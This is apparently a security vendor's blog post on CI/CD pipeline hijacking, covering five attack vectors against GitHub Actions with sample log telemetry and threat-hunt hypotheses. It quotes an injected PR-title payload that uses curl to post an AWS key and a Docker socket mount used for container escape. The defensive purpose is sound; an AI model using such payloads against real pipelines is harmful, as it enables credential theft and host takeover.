Deconstructing automated build runner exploitation, real-world case studies, hands-on lab telemetry, and actionable threat hunt leads across all 5 attack vectors.
Part 1 covered supply chain concepts; Part 2 analyzed npm dependency poisoning. Part 3 targets the build engine itself: CI/CD runners, GitHub Actions workflows, and build-time artifact tampering.
Modern software relies on automated cloud pipelines (GitHub Actions, GitLab CI, Jenkins) to build and deploy releases. Because build runners hold high-privilege cloud IAM keys, deployment SSH tokens, and publishing credentials, attackers target the CI/CD pipeline to steal secrets, backdoor releases, and compromise downstream targets.
In Part 1 of our Software Supply Chain series, we established that modern application security is no longer confined to the code written in-house—it encompasses every third-party component, registry, and dependency that touches the build process. In Part 2, we examined how threat actors compromise public package registries like npm through typosquatting, brandjacking, and maintainer account takeovers to gain initial access to developer workstations.
However, as enterprise engineering teams harden local developer machines and implement automated dependency scanning, adversaries have shifted their focus higher up the supply chain pyramid: directly targeting the automated CI/CD build infrastructure itself.
Continuous Integration and Continuous Delivery (CI/CD) pipelines serve as the automated engine of modern DevOps. Every git push or pull request triggers cloud-hosted or self-hosted runners that compile source code, execute automated unit tests, build container images, and publish deployment artifacts. To perform these operations, build runners are entrusted with the most sensitive secrets in the organization—including production cloud IAM credentials, deployment SSH keys, code-signing certificates, and package registry tokens.
Despite possessing keys to the kingdom, CI/CD runners routinely suffer from a major security asymmetry: while production runtime cloud environments are heavily monitored by modern security tools, build runners are ephemeral, short-lived, and frequently unmonitored. This brief deconstructs how adversaries weaponize CI/CD workflows, presents hands-on lab attack simulations with verified telemetry, and arms threat hunting teams with behavioral detection logic.
|
Attack Vector |
Exploitation Mechanism |
Official GitHub Log API & Schema Field |
|
1. Workflow Expression Injection |
Injecting command separators (; curl ...) into untrusted event parameters (PR title, issue body) in inline bash blocks. |
`event`: "pull_request_target", `actor.login`, `head_repository.full_name`, `github.event.pull_request.title` |
|
2. Poisoned Marketplace Actions |
Publishing typosquatted actions or overwriting mutable tags (@v1) on compromised maintainer accounts. |
`action`: "git.push", `ref`: "refs/tags/v1", `forced`: true, `old_sha`, `new_sha` |
|
3. Runner Infrastructure Escapes |
Escaping runner containers, hijacking root Docker sockets (/var/run/docker.sock), or claiming host root permissions. |
`job.container.options`: "-v /var/run/docker.sock:/...", `job.runner_group_name` |
|
4. Secret Exfiltration & Token Theft |
Scraping environment variables or process memory to exfiltrate GITHUB_TOKEN or cloud deployment keys. |
`action`: "git.fetch" / "repo.download_zip", `token_type`: "Installation Token", `actor_ip` |
|
5. Build-Time Artifact Tampering |
SolarWinds-style malware replacing source code files in workspace memory immediately before compiler invocation. |
`artifact.digest` (SHA256 Mismatch), `artifact.name`, `workflow_run.head_sha` |
Vector 1 | CWE-94 / T1059.004 — Exploiting pull_request_target with an inline expression injection payload in PR Title to exfiltrate AWS deployment keys.
|
Official GitHub Field Name |
Captured Event Value |
Security Significance |
|
event / github.event_name |
pull_request_target |
HIGH FIDELITY: Workflow trigger event executing in base branch context with secret access. |
|
actor.login / github.actor |
external-contributor-user |
Identifies external untrusted user submitting the malicious PR payload. |
|
head_repository.full_name |
forked-repo/app |
Forked repository source confirming unvetted external code origin. |
|
github.event.pull_request.title |
Fix bug "; curl -s -X POST -d "token=AKIA..." |
PR title payload containing injected shell command metacharacters. |
|
id (workflow_run_id) |
129847120 |
Unique GitHub Actions workflow run ID enabling instant correlation. |
Vector 2 | CWE-829 / T1195.002 — Force-pushing mutable version tags (@v1) on compromised action repositories to execute malicious setup code
|
GitHub Audit Log Schema Field |
Captured Event Value |
Security Significance |
|
action |
git.push |
HIGH FIDELITY: Git push event updating tag reference in GitHub Audit Logs. |
|
repo / repository |
marketplace-author/setup-build-env |
Target marketplace action repository. |
|
ref |
refs/tags/v1 |
Mutable version tag reference targeted for reassignment. |
|
forced |
true |
Flag confirming tag reference was force-pushed. |
|
old_sha / new_sha |
a1b2c3d4... / f9e8d7c6... |
Commit SHA shift from clean release SHA to malicious commit SHA. |
|
actor |
compromised-maintainer-account |
Account performing the force-push tag update. |
Vector 3 | T1611 / T1068 — Mounting the root Docker socket (/var/run/docker.sock) in self-hosted runners to escape containers and take over host node.
|
GitHub Actions Schema Field |
Captured Log Value |
Security Significance |
|
job.id |
89234710 |
Unique Actions job ID within workflow run. |
|
job.container.options |
-v /var/run/docker.sock:/var/run/docker.sock |
HIGH FIDELITY: Direct binding of host Docker socket into runner step. |
|
job.runner_group_name |
self-hosted-docker |
Self-hosted runner pool with high host network and filesystem exposure. |
|
job.steps[].name / step.number |
Execute Docker Build / Step 2 |
Job execution step metadata capturing container breakout execution. |
Vector 4 | T1552.001 / T1567 — Scraping runner environment secrets and exfiltrating short-lived GITHUB_TOKENs, followed by anomalous API usage.
|
GitHub API Audit Schema Field |
Captured Log Value |
Security Significance |
|
action |
git.fetch / repo.download_zip |
HIGH FIDELITY: Stolen GITHUB_TOKEN used to download private repos from external IP. |
|
token_type |
Installation Token |
Ephemeral runner installation token leaked from runner environment. |
|
actor_ip |
203.0.113.88 (Anomalous External IP) |
API request IP mismatching official GitHub Hosted Runner IP pools. |
|
user_agent |
git/2.34.1 (Custom Attacker CLI) |
Anomalous user agent consuming leaked runner installation token. |
Vector 5 | T1195.001 / T1036 — SUNSPOT-style build server backdooring: swapping source code files in runner memory immediately before compiler invocation without altering git.
|
GitHub Artifact Schema Field |
Captured Log Value |
Security Significance |
|
workflow_run.id |
402 |
GitHub Actions release workflow run ID. |
|
workflow_run.head_sha |
e3b0c44298fc1c149afbf4c8996fb9242... |
Git commit SHA verified clean in repository history. |
|
artifact.digest |
sha256:8f9a2b1c4d3e5f6a... (HASH MISMATCH) |
ARTIFACT TAMPERING: Binary SHA256 digest mismatch against reproducible build baseline. |
|
artifact.name |
release_bin.tar.gz |
Published workflow release artifact containing tampered binary. |
Hypothesis: Untrusted fork pull requests trigger pull_request_target workflows, evaluating command separators in dynamically written runner scripts.
Official GitHub Log Query Logic:
Triage: Cross-reference github.event.pull_request.title with step execution logs in the GitHub Actions run output.
Hypothesis: Threat actors force-push mutable git release tags (@v1) on third-party actions to deploy malicious build setup scripts across downstream pipelines.
Official GitHub Log Query Logic:
Triage: Compare the step action commit SHA logged during runner action checkout with the original release SHA baseline.
Hypothesis: Attackers submit workflows to self-hosted runners mounting /var/run/docker.sock to spawn privileged containers and compromise the host node.
Official GitHub Log Query Logic:
Triage: Inspect container launch options in workflow execution logs for interactive shell or host root mount requests.
Hypothesis: Compromised build steps exfiltrate ephemeral GITHUB_TOKENs, which are subsequently used from foreign attacker infrastructure to access private repos.
Official GitHub Log Query Logic:
Triage: Match the timestamp of workflow_run.id with the actor_ip in GitHub REST API Audit logs.
Hypothesis: Background runner processes tamper with source code files in workspace memory immediately before compilation, backdooring published release artifacts.
Official GitHub Log Query Logic:
Triage: Re-run the build job in a clean, isolated environment to verify binary hash reproducibility against git source history.
Short-lived build runners and stolen non-human identities operate at speeds legacy SOC workflows can't match. Netenrich eliminates operational noise and closes critical supply chain blind spots with a digital workforce of specialized AI agents.
Having explored Dependency Poisoning (Part 2) and CI/CD Pipeline Hijacking(Part 3), the next frontier is protecting the origin of trust itself: Source Code & Software Production.
In Part 4, we will examine how threat actors bypass developer identity controls, compromise source code repositories, tamper with commit history, and defeat modern software production safeguards.